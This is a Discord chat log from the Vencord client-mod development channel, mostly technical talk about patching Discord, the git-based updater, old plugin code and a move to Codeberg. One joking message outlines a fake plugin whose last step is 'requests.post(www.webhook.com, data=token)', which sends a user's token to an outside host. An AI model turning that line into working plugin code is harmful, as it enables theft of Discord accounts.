#πŸ‘Ύ-core-development

1 messages Β· Page 62 of 1

austere talon
#

the issue is that MESSAGE_UPDATE expects an api json message but we have a message class message

limber skiff
#

ah ye

austere talon
#

attachments gon

quaint sapphire
#

Huh, doesn't the trick where we use another component within the component we add to messages work?

#

Yeah I can't explain shit

tacit marten
quaint sapphire
tacit marten
austere talon
#

our code

#

we dispatch updates to rerender the message

#

after we modify it

#

but its not that simple

quaint sapphire
#

Can't we just inject our own little util to force reload messages by their ID or smth?

tacit marten
#

I have an offtopic question about one of the PRs, would here be the correct place to ask? It is just mainly to satisfy my curiosity.

quaint sapphire
tacit marten
#

Alright, here goes:

find: "Messages.SOURCE_MESSAGE_DELETED",

When is this event called? Because this PR uses it to colorize all messages.

austere talon
#

unrelated to the feature

quaint sapphire
#

I'd assume it is for replies
Also that doesn't look like an event

austere talon
#

that's just an arbitrary piece of code in the module it wants to patch

lime stone
#

yeah, isn't that i18n?

austere talon
#

ye

tacit marten
quaint sapphire
#

Hi

lime stone
#

bye

quaint sapphire
quaint sapphire
lime stone
#

yep

tacit marten
lime stone
#

(presumably) the module id changes between builds and we don't have access to the original names

quaint sapphire
#

I am of the opinion that TS is just JS on crack, so no that's not what I meant

#

Nothing to do with code

tacit marten
quaint sapphire
#

Is what I meant

#

You are just too confused and frightened by the unknown

quaint sapphire
#

Go look at assembly, you will love it /s

lime stone
#

and i'm a contributor!

quaint sapphire
#

In my eyes minified js is not that bad

tacit marten
#

I also used JS in backend, and it was confusing since I had to use it for a uni project worth 50% of the whole course's grades, and it was confusing.

lime stone
#

ts at least makes it bearable

quaint sapphire
#

If you have read asm that is

tacit marten
#

I am more used to Python.

tacit marten
lime stone
quaint sapphire
#

Compiled asm

#

Not hand written asm

tacit marten
#

What is the difference?

lime stone
#

😭

tacit marten
#

Names?

lime stone
#

and no comments

tacit marten
#

Lemme check my game's code.

lime stone
#

no way a disassembler could work them out without reading minds :p

quaint sapphire
lime stone
#

wait that would be a cool idea

tacit marten
#

No no, comments are not stored in compiled binaries, I think.

lime stone
#

:( sad that discord wouldn't be so kind as minecraft and provide name mappings

tacit marten
#

So it cannot extract what is not there.

grave mangoBOT
# tacit marten https://github.com/mostafa-abdelbrr/Snake-Game-in-assembly/blob/master/Snake.asm

**Snake.asm: **

 ; ENUMS for directions
  UP        = 1
  DOWN    = 2
  RIGHT    = 3
  LEFT    = 4
; ENUMS for grow_state
  NO_CHANGE    = 0
  BIGGER    = 1
  SMALLER    = 2
; scancodes
  UP_SC    = 48h
  DOWN_SC    = 50h
  RIGHT_SC    = 4Dh
  LEFT_SC    = 4Bh
  EXIT_SC    = 10h ; 'Q' - for Quit
  RESTART_SC= 13h ; 'R' - for Restart
; misc
  NSEOI_OCW2 = 00100001b
  PC_PIC     = 20h


  .model small
  .386
  .stack
.data
me db ?
me_row db 0
me_col db 5
them db ?
them_col db 5
... (2204 lines left)
quaint sapphire
tacit marten
#

I don't think the code has very useful comments tbh.

#

XD

quaint sapphire
#

Well, the community does still make mappings

lime stone
#

yeah, they didn't provide javadoc, local variable names (most notably method params)

tacit marten
#

Oh, that reminds me.

lime stone
#

i had to type that blind :p

quaint sapphire
tacit marten
#

My other game project which I work on depends on decompiled C# code from unity, THANK GOD that it has proper variable names.

austere talon
tacit marten
#

If it didn't, I wouldn't touch it with an infinitely long stick.

austere talon
#

this is vencord dev

tacit marten
#

Oh sorry.

#

Got too chatty.

quaint sapphire
tacit marten
#

Sorry again. XD

lime stone
#

recode in C#

quaint sapphire
#

vencord-dev for life

lime stone
#

yeahh!

tacit marten
#

I'll show myself out, thanks everyone!

quaint sapphire
#

Good luck hating js!

tacit marten
#

XD

lime stone
#

vban

nimble pendantBOT
quaint sapphire
#

The hate club is huge

#

#CancelVaius

quaint quail
#

Guys is vencord safe

lime stone
#

i'm not a mod or anything but this channel's usually used for discussion of the project's development!

#

(i talk about unrelated stuff all the time lmao)

tame escarp
quaint quail
#

Good good

lime stone
#

✨

quaint quail
#

Idk i hate antivirus it blocks everytime

tacit marten
#

Would it be ok to make a PR to edit the imageZoom plugin to allow zooming without displaying the magnifier circle?

#

Although I think my fix is very hacky.

lime stone
#

describe it and we may be able to help :3

austere talon
#

in any case you can pr virtually anything

#

it might just get rejected

#

but just pr and we can see :P

tacit marten
#

Sending screenshot to record.

tame escarp
olive barn
#

brb making a pr to revert 4801498

tacit marten
#

Added option to hide the lens circle.

olive barn
#

worst change imo

tacit marten
#

Uploading video.

austere talon
#

real

#

oooold vencord

tame escarp
#

isnt that pre-vite?

austere talon
austere talon
tame escarp
#

yes

tame escarp
#

idk where i got vite from

austere talon
#

no, vencord was born around the swc time

austere talon
tame escarp
#

swc change was that long ago?!

austere talon
olive barn
#

Giant Penis Lisence,,,

austere talon
#

isn't it crazy that the folder structure literally hasn't changed at all

tacit marten
#

4th plugin too...

tame escarp
#

that shit is OLD it still had a cc loader

austere talon
grave mangoBOT
austere talon
#

even the plugin structure hasn't changed at all

#

string author OhYesPls

tame escarp
#

cumcord users trying argue that the name wasnt stupid and was actually just a filter to prevent idiots from joining the server (it actually kept only idiots in the server)

olive barn
tacit marten
olive aurora
austere talon
tacit marten
austere talon
#

i will contribute to scarlet

#

soon

tame escarp
#

i got told hitler was better than me by like 5 people

austere talon
#

you're not a real vencord og if you don't remember monkey patch vencord

tacit marten
tacit marten
#

Why?

tame escarp
#

i don't even remember the context honestly

grave mangoBOT
# austere talon illegal https://github.com/Vendicated/Vencord/blob/483bc13a31ab2ba878ff8d9002b0a...

**noTrack.ts: **

import definePlugin from "../utils/types";
import { findByProps } from "../utils/webpack";

const DO_NOTHING = () => void 0;

export default definePlugin({
    name: "NoTrack",
    description: "Disable Discord's tracking and crash reporting",
    author: "Vendicated",
    start() {
        findByProps("getSuperPropertiesBase64", "track").track = DO_NOTHING;
        findByProps("submitLiveCrashReport").submitLiveCrashReport = DO_NOTHING;
        findByProps("AnalyticsActionHandlers").AnalyticsActionHandlers.handleTrack = DO_NOTHING;

        const sentry = window.__SENTRY__;
        sentry.logger.disable();

        sentry.hub.addBreadcrumb = DO_NOTHING;
        sentry.hub.getClient().close(0);
        sentry.hub.getScope().clear();

        const c = console;
        for (const method in c) {
            if (c[method].__sentry_original__)
                c[method] = c[method].__sentry_original__;
            if (c[method].__REACT_DEVTOOLS_ORIGINAL_METHOD__?.__sentry_original__)
                c[method].__REACT_DEVTOOLS_ORIGINAL_METHOD__ = c[method].__REACT_DEVTOOLS_ORIGINAL_METHOD__.__sentry_original__;
        }
    }

... (1 lines left)
austere talon
#

monkey patches in my vencord???

olive aurora
#

HOW

#

so bloated

tame escarp
tacit marten
#

XD

austere talon
#

wait

tame escarp
#

i mean every client modding server is terrible, just some less-so

tacit marten
#

Pretty sure you consider being banned a badge of honor.

fleet oasis
#

anyone know a fix?

tacit marten
#

From that server at least.

tame escarp
#

this community always attracts absolute egotists and dumbasses to it

olive aurora
#

uninitialised V πŸ’”

austere talon
#

does anyone remember when the Vencord api had a method to retrieve a penis

#

@quick ibex u remember dont u

#

actually idk if samu

#

but someone definitely

tame escarp
#

yall are forgetting the classic demoncord ritual api

austere talon
#

that was pre rewrite

austere talon
#

i have old pre-rewrite vencord on my laptop πŸ”₯

tame escarp
tame escarp
austere talon
tame escarp
#

Custom Css

#

true

austere talon
#

no css editor

tame escarp
#

there's a css editor????

austere talon
tame escarp
#

i just use micro and manually edit the file like a normal person

olive aurora
#

scarlet will embed vim as a css editor

olive barn
#

oneko is infinite.

austere talon
#

who wants legacy vencord access πŸ”₯

tame escarp
#

me

#

fr

olive aurora
#

give

austere talon
#

hold on it's somewhere on my laptop

olive barn
#

oneko is omnipresent

olive aurora
#

true

tame escarp
#

i'm an OG i joined september last year πŸ™„

austere talon
#

fake og

olive aurora
#

I joined yesterday smh u cant beat that

olive barn
#

real

tame escarp
austere talon
tame escarp
#

more og than half the people active on this server anyways

austere talon
#

u had to be there πŸ”₯

olive barn
#

omg a fork

#

:O

tame escarp
#

ok cant help that i was too busy being called hitler by cc users to know vencord existed πŸ™„

austere talon
charred monolithBOT
tame escarp
#

❗

austere talon
#

who wants access πŸ”₯ πŸšΏπŸš’

olive aurora
tame escarp
austere talon
# olive aurora install.sh πŸ”₯
#!/bin/sh
#
# Super simple installer. You should probably run this as root.
# If you are getting permission issues, this is probably why.
#
# If this doesn't work for you, or you're not on Linux, just
# - locate your Discord folder
# - inside the resources folder, create a new folder "app"
# - inside app create the files index.js and package.json.
#   See the two tee commands at the end of the file for their contents

set -e

patcher="$PWD/patcher.js"

dicksword="$(dirname "$(readlink "$(which discord)")")"
resources="$dicksword/resources"

if [ ! -f "$resources/app.asar" ]; then
    echo "Couldn't find Discord folder rip"
    exit
fi

app="$resources/app"
if [ -e "$app" ]; then
    echo "app folder exists. Looks like your Discord is already modified."
    exit
fi

mkdir "$app"
tee > "$app/index.js" << EOF
require("$patcher");
require("../app.asar");
EOF

tee > "$app/package.json" << EOF
{
  "main": "index.js",
  "name": "discord"
}
EOF
tame escarp
#

teehee

olive aurora
#

true

#

I will tcl installer

tacit marten
olive aurora
#

tkinter πŸ”₯

austere talon
#

xfce

tacit marten
#

Interesting.

tame escarp
#

actually i assume this still used regex patching right

#

.js WHAT

olive barn
austere talon
#

hold on

tacit marten
#

Honestly Linux's customizablitity... oops wrong channel again.

austere talon
olive barn
#

just fucking

tame escarp
#

force push it to the mainline vencord repo

#

watch as users mald

olive barn
#

alias laptop="sshpass -p penis ssh 192.168.2.210"

#

super secure

#

trust

austere talon
#

nuh uh

#

BECAUSE IM ON VPN

#

bleh im dumb

olive barn
#

i havent seen a vpn that takes lan access

#

weird

tame escarp
#

ik using a tailscale exit node breaks LAN sometimes

tacit marten
austere talon
tame escarp
#

I have no idea how electron works so this mod is probably very hacky and bad.

#

you mustve cooked HARD

austere talon
#

now i know how it works :DDD

tame escarp
#

nevermind this is like anti-cooked WHAT

austere talon
#

it's really bad lmao

grave mangoBOT
tame escarp
#

WHAT

#

WHY DOES IT EXPOSE PRETTIER

#

😭

austere talon
#

well

#

i wanted to inspect functions in the console

#

randomDiscordFunc.prettier()

#

funny

tame escarp
#

YOU WERE NOT COOKING

#

YOU WERE FREEZING

austere talon
tacit marten
#

But isn't Prettier easier to look at?

austere talon
tame escarp
grave mangoBOT
austere talon
#

amazing api

#

dont question it

#

i just wanted to test getters

tacit marten
#

Oh, now I remember another reason I hate JS: because of using ActionScript and trying to figure out how to properly use it for a lot of stuff even though it is long dead.

austere talon
grave mangoBOT
austere talon
#

me when vencord moment

olive barn
#

vencord moment

austere talon
tame escarp
tacit marten
tame escarp
woeful sable
#

I still have the funny

tacit marten
#

A terrible Discord Desktop mod, because yes.
I can't believe Ven is abusive.

austere talon
#

it really was terrible back then

tacit marten
#

Still abusive, now you call it "cutest" client mod.

#

You need to be consistent.

#

I call the game server I work on "a hot pile of mess".

#

And that probably will never change.

#

Although I didn't create everything there, it was done by the former leader and they did an amazing job, but the framework is a hot pile of mess.

#

With a very lacking documentation.

#

And uses multiple programming languages at the same time.

limber skiff
austere talon
#

good api

limber skiff
#

vencord at its peak

austere talon
#

we should add it back

#

vencord just hasn't be the same since its removal

limber skiff
#

yop.

austere talon
olive aurora
#

i love prototype pollution

olive aurora
#

closed source vencord πŸ’”

austere talon
#

nah

woeful sable
#

day 1 supporter fr

austere talon
#

wait it is

#

no license

#

wtf

#

!!

olive aurora
#

stealing

austere talon
#

should i gpl or cc0

olive aurora
#

do not

quick ibex
#

What the

austere talon
#

back then u still had to build vencord from source pleadey

#

and it came with a 300mb node_modules folder

#

we love

olive aurora
austere talon
olive aurora
#

cc0 is the license for software a bit too silly

austere talon
#

cause the updater was purely git based

quick ibex
#

Yeah

austere talon
#

way before we moved to prebuilds & http based updater

quick ibex
#

I thought you were talking about vencord.dev

#

Still don't remember penis function

tacit marten
#

Use the 'No Evil' license.

tame escarp
olive barn
grave mangoBOT
# olive barn https://github.com/Vendicated/Vencord/blob/main/.github/workflows/build.yml

**build.yml: **

name: Build DevBuild
on:
    push:
        branches:
            - main
        paths:
            - .github/workflows/build.yml
            - src/**
            - browser/**
            - scripts/build/**
            - package.json
            - pnpm-lock.yaml
env:
    FORCE_COLOR: true

jobs:
    Build:
        runs-on: ubuntu-latest

        steps:
            - uses: actions/checkout@v3

            - uses: pnpm/action-setup@v2 # Install pnpm using packageManager key in package.json

            - name: Use Node.js 19
              uses: actions/setup-node@v3
              with:
                  node-version: 19
                  cache: "pnpm"

... (49 lines left)
olive barn
#

oh whorps

tacit marten
# olive barn oh whorps

Just read your bio, I think anyone who uses your pronouns will be canceled for objectifying people.

olive barn
#

what

tacit marten
#

No offense meant of course.

olive barn
austere talon
austere talon
#

but yeah the files there are uploaded by the same workflow

olive barn
#

ahh

austere talon
tame escarp
#

(the joke is that i still use a local git build)

#

i was an old man yelling at the new graphical installer to get off my lawn

olive barn
#

also does the updater work on devmode? i was curious earlier and checked the hashes before and after updating thru settings and it worked. whats weird is it ignored my local git changes. git normally cries when i dont stash shit

austere talon
#

yes it does

#

but it doesn't ignore your loca lgit changes

#

it will shrimply explode if u have conflicts and such

tacit marten
#

Wait what?

#

Is it possible to update even though I applied some local changes?

olive barn
#

oh conflicts ofcourse but it freaks out normally

tacit marten
#

Without losing these changes?

olive barn
#

lemme get a ss

tacit marten
#

XD

#

Where is this updater anyway?

austere talon
#

code

fleet depot
#

Update tab??

austere talon
fleet depot
#

You have to stash

#

That's what i do

#

But also I merge sometimes too

#

Depends on how final whatever I'm doing is

austere talon
#

if you have local commits and pull, git will automatically try to merge these changes with your local ones

tacit marten
austere talon
#

it might just work if you haven't touched any of the code that changed remotely

fleet depot
#

Is there a way for vencord dev to update off a branch that isn't main branch

#

That might be a dumb question

tacit marten
#

Just use that repo, build, and inject.

fleet depot
#

I did i did

#

I meant as in my main fork

tacit marten
#

If you already built and injected from it, check the update settings.

#

Check which repo it lists.

fleet depot
#

I've been working off a fork and wanted main to be my clean branch from vencord

olive aurora
#
<<<<<<< HEAD
bleh
=======
merge conflict jumpscare
>>>>>>> origin/main
fleet depot
#

But then if i push things to a dev branch updater is weird

tacit marten
fleet depot
fleet depot
tacit marten
#

For me I am using the color messages PR.

fleet depot
#

I know that much

tacit marten
#

And it is listing their repo.

fleet depot
olive barn
#

yeah it does everything via a wrapper git cli it seems

#
async function getRepo() {
    const res = await git("remote", "get-url", "origin");
    return res.stdout.trim()
        .replace(/git@(.+):/, "https://$1/")
        .replace(/\.git$/, "");
}```
fleet depot
#

And that works

#

Just was curious

tacit marten
#

I think it ignores branches, sadly.

#

Just a guess though.

fleet depot
#

Yeah it appears so..

#

But wasn't sure

#

One of those things that I feel like I can't really tell unless someone more knowledgeable than me says "you're crazy" or "yeah ofc you can" lol

tacit marten
olive barn
#

all it does is pull and rebuild

tacit marten
#

Hm, alright, lemme test.

austere talon
olive barn
#

it updates thru git by the repo you cloned from

#

it doesnt do merging though so if the forks out of date you gotta do it yourself

fleet depot
#

Yeah gotta do them syncs

tacit marten
#

Thanks for telling me about the repo updater thing!

olive barn
#

how would you specify a plugin to require restart on enable/disable without using patches

fleet depot
#

I believe there's code there

#

Oh on enable/disable?

#

I think all of them then have code

#

onRestart() or something

olive barn
#

running code before a functions called

austere talon
#

elaborate a bit more please

olive barn
#

Overwriting GatewayConnectionStore's getSocket to return a socket with a patched send method

limber skiff
#

monkey patch boohoo

austere talon
#

what for

#

is this for desktop patch

olive barn
#

yeah cri_lm

austere talon
#

see thats why i asked

limber skiff
#

is it for spoofing platform?

austere talon
#

the answer to your problem is use a regex patch

#

ye

limber skiff
#

i see

austere talon
#

you likely need to patc hthis

#

with a regex patch

#

you just need to change browser to Discord Client

olive barn
#

oh shit

#

tyty

austere talon
#

search for browser_user_agent:

#

there are two results

#

one is discord desktop

#

the other is discord web

#

it should be fairly easy to figure out which one is which

#

the code looks really confusing but you can figure it out

charred monolithBOT
olive barn
#

i fucking hate regex

#

it didnt even work pureagony

frail skyBOT
#
Bad Patches

None

Bad Starts

None

Discord Errors
font-weight: bold;
color: purple;
 Cannot access 'Bfe' before initialization ReferenceError: Cannot access 'Bfe' before initialization
    at Module.default (WebpackModule248059:2:50)
    at VencordWeb:12:719
    at VencordWeb:5:8972
    at [vencord.lazy.get] (VencordWeb:5:7335)
    at zr.<computed> [as get] (VencordWeb:5:7746)
    at Object.handleProtoChange (VencordWeb:33:23399)
    at CONNECTION_OPEN (WebpackModule473419:2:5858)
    at https://discord.com/assets/ad1fde4a477ddef962ae.js:9368:278
    at https://discord.com/assets/ad1fde4a477ddef962ae.js:9358:270
    at n (https://discord.com/assets/ad1fde4a477ddef962ae.js:9368:255) ```
#
Bad Patches

None

Bad Starts

None

Discord Errors
font-weight: bold;
color: purple;
 [kb store] KeybindStore: Looking for callback action SOUNDBOARD_HOLD but it doesn't exist in this version. Skipping ```
charred monolithBOT
charred monolithBOT
charred monolithBOT
charred monolithBOT
fleet depot
#

Me: nearly tries to do Vencord debug on aliucord

charred monolithBOT
austere talon
#

git rebase -i HEAD~2

#

THIS IS NOT VSCODE

charred monolithBOT
austere talon
#

jumpscare

#

#πŸ€–-bot-commands message

tame escarp
charred monolithBOT
charred monolithBOT
charred monolithBOT
stark flint
cunning radish
lean elm
#

ur all discord pros, right? How is discord capturing the sound of a single application when i stream that applications window?

cunning bobcat
#

magicℒ️ (i have no damn clue lmao)

lean elm
#

i see, very interesting. I wonder how it works on windows

cunning bobcat
#

on linux it just doesn'tℒ️

charred monolithBOT
inland zinc
blazing dome
#

.

charred monolithBOT
charred monolithBOT
charred monolithBOT
jagged cloak
#

i feel like this has happened before lol

charred monolithBOT
austere talon
#

i wonder how this person didnt notice it already exists

jagged cloak
#

months out of date

woeful sable
#

rip

austere talon
#

@quaint sapphire

quaint sapphire
#

dead channel

olive aurora
#

people usually pr new plugins they make

quaint sapphire
#

ah yes, redundance

olive aurora
#

what r u asking for

quaint sapphire
#

just doing some tomfoolery

olive aurora
#

bad

austere talon
#

the plugin was made before discord change

quaint sapphire
#

honestly I preferred viewing the actual links

#

rather than the chat icon

#

bc it is so small

#

looks like a channel link

#

I read from left to right, when I see this, I see a channel

#

and I was trained to recognize that as a channel for years now

#

discord can't do this to me

fleet depot
#

They're identical looking now

#

Channel links and message links

#

I was experimenting

tame escarp
fleet depot
#

Wait there's the arrow and the text icon

fleet depot
#

I thought i was testing something earlier and they looked the same

quaint sapphire
#

they look too similar, hard to notice the msg icon

royal bane
tame escarp
#

exactlu

#

i love fireworks

royal bane
#

you're playing with fire

tame escarp
#

AND I WANT TO FUCKING SEE IT BURN

quaint sapphire
#

I felt the pain when I imagined the users that ask for how to install a third party plugin

#

not knowing that they have to install the dev build of vencord

tame escarp
#

lock messagelogger and shc behind figuring out how to install custom plugins

#

it'll be so joever for 99% of users

royal bane
quaint sapphire
#

hello

royal bane
#

i like it

tame escarp
#

how do third party plugins even work actually

#

at the moment

olive aurora
#

you just throw them in the userplugins folder and rebuild

royal bane
#

pnpm build pnpm inject

tame escarp
#

oh

quaint sapphire
tame escarp
#

i still use a local build so i just add whatever to src/plugins still

quaint sapphire
#

and you build like normal

#

so dev build

olive aurora
#

smh use src/userplugins

tame escarp
#

vencord got too user friendly ngl

olive aurora
#

so you cant accidentally commit them

tame escarp
#

(i don't even have any)

quaint sapphire
quaint sapphire
austere talon
#

there's a good reason they're third party plugins (most of them are useless) trolley

tame escarp
#

zamn my last upstream fetch is from april 7th

austere talon
tame escarp
#

is there anything im missing

surreal otter
quaint sapphire
tame escarp
quaint sapphire
#

i bet even if it is on the README that it is fake, they wont read it

austere talon
#

to put it nicely

tame escarp
olive aurora
#

πŸ™

tame escarp
#

vban @surreal otter

nimble pendantBOT
surreal otter
royal bane
#

?

austere talon
#

you're banned stop talking πŸ™„

surreal otter
#

ok vencord dude

austere talon
#

vunban @surreal otter

#

it's okay i unbanned u

royal bane
#

someone getting angyy >:(

olive aurora
#

we should troll vencord users by removing the builtin token lagger

tame escarp
quaint sapphire
surreal otter
quaint sapphire
#

makes ur token lag

austere talon
#

btw im working on token cloud sync rn

#

😁

#

stay tuned folks

tame escarp
#

okay but the biggest meme would be unironically writing a BD compat like if you agree

austere talon
#

bad

quaint sapphire
#

if it was easy I would do it, but it is way too much work just to have a shitty ecosystem

olive aurora
#

someone tried it was very sad

quaint sapphire
#

the powercord plugin for bdcompat is a mess

austere talon
tame escarp
#

when is demoncord compat dropping

austere talon
#

so it was a really pointless effort and sad to watch

quaint sapphire
#

we need CC plugins

austere talon
tame escarp
surreal otter
#

step 1) be vencord femboy dude
step 2) add a "BDPluginSupport" plugin
step 3) requests.post(www.webhook.com, data=token)

tame escarp
#

let CC stay in its piss-soaked grave alongside margaret thatcher

austere talon
#

old (very old) vencord had goosemod and cumcord loader plugins

quaint sapphire
#

@austere talon add lightcord support, NOW

austere talon
#

armcord is just lightcord continuation

quaint sapphire
#

yee I know of the loading quot-

tame escarp
#

said nobody ever

quaint sapphire
#

oh

#

you meant that

austere talon
surreal otter
quaint sapphire
#

bdcompat plugin that auto reports the user to discord

#
  • hi
  • there
#

heh, not blocked

#

oh

tame escarp
#

discord when they remove inline links

fleet depot
#

Yeah it got removed

quaint sapphire
#

sadge

#

i can no longer post real links that actually point to a hidden link

fleet depot
quaint sapphire
#

too bad they disabled them

#

what shitty markdown parser does that?

#

is that even valid?

austere talon
austere talon
#

stop spamming oh my god

olive aurora
#

qhar

woeful sable
#

close source the repo

#

let's go back

quaint sapphire
#

or just...remove the user friendly installer

#

most users will give up on git clone

royal bane
#

just remove user

woeful sable
#

just remove

quaint sapphire
#

windows users too spoiled

jagged cloak
#

go back to cli installer so much better

#

fucking discord oom loooove

cunning bobcat
#

agreed /hj

charred monolithBOT
olive barn
#

codeburg webhooks wen

charred monolithBOT
austere talon
#

YAY

#

it works @olive aurora

olive barn
#

YOO

austere talon
olive aurora
#

fire

austere talon
#

i pushed that commit to codeberg

#

gitea supports github templates

charred monolithBOT
austere talon
#

realest

charred monolithBOT
austere talon
#

gitea webhooks so much better than shithub

charred monolithBOT
olive barn
#

so detailed thank you codeburger

austere talon
#

why are u subbed lol

olive barn
#

idfk

austere talon
#

oh cause

olive barn
#

ohh

olive aurora
#

yo its codeburger

austere talon
#

WAIT

#

i lose gh pr checkout 2

#

1984

charred monolithBOT
austere talon
#

why doesnt it tell content

#

0/10

olive aurora
#

HOW

#

scribs

#

all this cspell for nothing fr

austere talon
#

why do u use build sometimes

#

other times context

#

you can just

olive aurora
#

cuz why make a whole context u will use once

austere talon
grave mangoBOT
olive aurora
#

where in watch it has to linger forever

austere talon
#

btw

#

i deliberately didnt use JSON.stringify() for the css bundle

#

to have less insane string

#

that's why i just used `

olive aurora
#

true I guess

charred monolithBOT
olive aurora
#

jumpscare

austere talon
#

synchronized

#

does gitea not have suggestions

olive aurora
#

I have no idea

charred monolithBOT
olive aurora
#

lmao

#

I will /`/g

austere talon
#

nuh uh

#

replaceAll

fleet depot
#

huh why does codebuger not squareify

#

random- oh maybe image has transparent bg

austere talon
#

css.replaceAll("", "\\")

austere talon
#

:P

fleet depot
#

ah yeah

austere talon
#

this

olive aurora
#

css.replace(/./g, (x) => x === "`" ? "\\`" : x)

austere talon
#

NO

#

tbh i already miss the following from github prs:

  • gh pr checkout X
  • suggestions
  • ci
olive aurora
#

we will request ci access soon

#

also can u only do one comment at once or

austere talon
#

nah review

#

btw

#

the scripts have some obsolete stuff

#

actually lemme just do that myself

olive aurora
#

yeah cant u push to my branch

austere talon
#

u will give access to edit pr

olive aurora
#

given

#

didnt see the checkmark

austere talon
#

did u

#

u did

olive aurora
#

i did

austere talon
#

Propose changes

olive aurora
#

vencord request for comments soon

olive barn
#

codeburger*

fleet depot
#

mirror

olive aurora
#

nuh uh I am currently holding ven at gunpoint

#

the repo will be transferred within the next decade or so

olive barn
#

b- but codeburger,,

#

its mirrored calm down lmao

#

and github is definitely not perfect

#

we literally had a conversation about mirroring it an hour ago

true gullBOT
olive aurora
#

"perfect"

austere talon
#

github is far from perfect

#

do you know how nonsensical it is that the central platform for open source is not open source?

true gullBOT
#

If github is perfect then this is a perfect sphere

austere talon
frail skyBOT
#
Bad Patches

None

Bad Starts

None

Discord Errors
font-weight: bold;
color: purple;
 Cannot access 'Bfe' before initialization ReferenceError: Cannot access 'Bfe' before initialization
    at Module.default (WebpackModule248059:2:50)
    at VencordWeb:12:719
    at VencordWeb:5:8972
    at [vencord.lazy.get] (VencordWeb:5:7335)
    at zr.<computed> [as get] (VencordWeb:5:7746)
    at Object.handleProtoChange (VencordWeb:33:23399)
    at CONNECTION_OPEN (WebpackModule473419:2:5858)
    at https://discord.com/assets/ad1fde4a477ddef962ae.js:9368:278
    at https://discord.com/assets/ad1fde4a477ddef962ae.js:9358:270
    at n (https://discord.com/assets/ad1fde4a477ddef962ae.js:9368:255) ```
#
Bad Patches

None

Bad Starts

None

Discord Errors
font-weight: bold;
color: purple;
 [kb store] KeybindStore: Looking for callback action SOUNDBOARD_HOLD but it doesn't exist in this version. Skipping ```
charred monolithBOT
charred monolithBOT
jagged cloak
#

CODE BURGER

quaint sapphire
#

Darn

#

Didn't know it had one

azure jay
#

you have to convince them that you should have it lmao

cunning bobcat
quaint sapphire
#

well, that prevents me from abusing it

#

so github is better

#

@austere talon

#

update ur lockfile

#

I only ran pnpm install on a clean branch, and now I have the lockfile as a changed file

grave mangoBOT
#

**main.go: **Line 330

rdb.Del(c.Context(), "secret"+hash(PEPPER_SECRETS+userId))
charred monolithBOT
#

A revival of my dead plugin SoundChanger.
This time the code will be up to standards,.

The old code was a mistake for humanity.

Anyways, stuff left to implement:

  • [ ] Settings
    • [ ] Add shit, cause it's empty.
    • [ ] Add profile support, so you can switch between saved profiles.
      • [ ] For each profile show the custom sounds, and allow editing them.

Closes #835

Note

This is not a port of the BD plugin, it is not inspired by it either.
This is a remake of my dea...

charred monolithBOT
turbid hatch
#

wtf

#

how did rhat happen

#

yes it is

#

i guess i never caught it because redis silent fails deletes

#

since its the intended outcome anyway

quaint sapphire
#

caught red handed

#

PS: in Greek that phrase is "Caught in leeks", don't ask me why, but it is funny

charred monolithBOT
charred monolithBOT
quaint sapphire
#

@austere talon idea for the companion

the ability to "Go to definition" and it will open the discord code where a webpack/common or smth is in discord's code

#

like, if I right click the Forms.FormsTitle component and click go to definition, instead of going to the code that finds it, to show the actual implementation in discord

#

or at least open the corresponding webpack module

#

prettified

#

directly in vscode

#

that way we can easily see what undocumented properties a component can take, w/o having to search for the module

charred monolithBOT
austere talon
#

basically it's caching some state and window.webpackChunk already exists when we load the page

#

previously we unconditionally overwrote it, nuking some chunks

charred monolithBOT
bleak swift
#

anyone use webcord here? its discord but with newer electron

charred monolithBOT
austere talon
#

they have a similar version

charred monolithBOT
austere talon
#

in any case why did you ask?

bleak swift
bleak swift
austere talon
#

u can make a simple workflow to do it for u

austere talon
bleak swift
#

ah, looks like i need to update from webstore then trolley

tacit marten
#

Why do I get this error when using the official repo to build and inject?

#

No new commits or changes.

austere talon
#

read the error bleh

#

you're likely using git via ssh and don't have ssh configured correctly

tacit marten
austere talon
#

i don't
I highly doubt that.

#

go into your vencord directory and run git remote -v

tacit marten
#

Use GitKraken.

tacit marten
austere talon
#

ssh

#

fix your ssh or use https

tacit marten
#

Weird, I didn't get this error a few days ago tbh.

#

Anyway, gotta look into this ssh, I never set it up afaik.

austere talon
#

it's easy to fix

#

this changes to https

tacit marten
#

Oh, then GitKraken probably messed it up for me.

#

Because I think it uses SSH mostly.

austere talon
#

ssh is the preferred method

tacit marten
#

But I never set up terminal git.

#

I mean I have it, but not properly configured.

#

Why?

#

Up to you anyway.

#

Correct, it is GUI, and makes using Git very easy, thankfully.

#

Anyway lemme look up cherry picking for you.

austere talon
#

git cli is superior

azure jay
#

lazygit then

tacit marten
#

Nope, not really.

#

Unless you love the command line.

#

I do admit command lines are easy to use.

#

Just using the keyboard, no mouse.

#

But also GUI is easier for complex stuff, like Git.

austere talon
#

git cli is better because you know what it's doing and have full control

tacit marten
#

XD

austere talon
#

using a gui leads to stuff like the issue you just had

tacit marten
#

Touche.

#

But again I never configured my git.

#

Which is on me.

austere talon
#

i don't mean to gatekeep or anything so if you prefer gui, more power to you bleh

#

but cli is way better if you know how to use it

#

so learning it is worth your time!

tacit marten
#

No no, I see your point, but problem with cli is that it just outputs a lot of text.

#

But with GUI, you can view or hide the text you want.

#

I mean just before I got the issue, the updater was showing me the wrong origin.

#

So I was trying to rebase, cherry pick, and stuff to try to put my local commits as older commits, such #@!%&-ery would be hard to do as a newbie in cli.

#

Anyway, of course I failed.

#

So I just pulled the latest main again, cherry picked, and injected.

austere talon
#

lol i've been confused why firefox is taking so long to approve

#

but turns out

#

i forgot something

tacit marten
#

XD

#

What did you forget, out of curiosity?

austere talon
#

tag

tacit marten
#

Ouch.

austere talon
#

now it's releasing ccLaugh

tacit marten
#

I gotta learn about tags too, I just let releases auto add new ones.

austere talon
#

tags are really basic concept

#

it's basically just a checkpoint

tacit marten
#

Honestly I just took a skydive into Git without trying to learn the basic concepts.

austere talon
#

you tell git "okay this is v1.2.6"

#

and that's it

#

it then creates a tag with that version and the current latest commit you can view later

tacit marten
#

I see.

austere talon
tacit marten
#

Honestly you are more friendly then other devs tbh. XD

austere talon
#

it's basically a pseudo git branch

grave mangoBOT
tacit marten
#

Differences between Git tags and branches

Tags and branches are both used for version control within your code base. They do not compete with each other but are instead used together.

A branch is often used for new features and fixing bugs. It allows you to work without impacting the main codebase. Once your work is complete, you can incorporate your changes into the application by merging the branch back into the main codebase. This allows multiple people to work on different aspects of the project simultaneously. It also provides a way to experiment with new ideas without risking the main codebase’s stability.

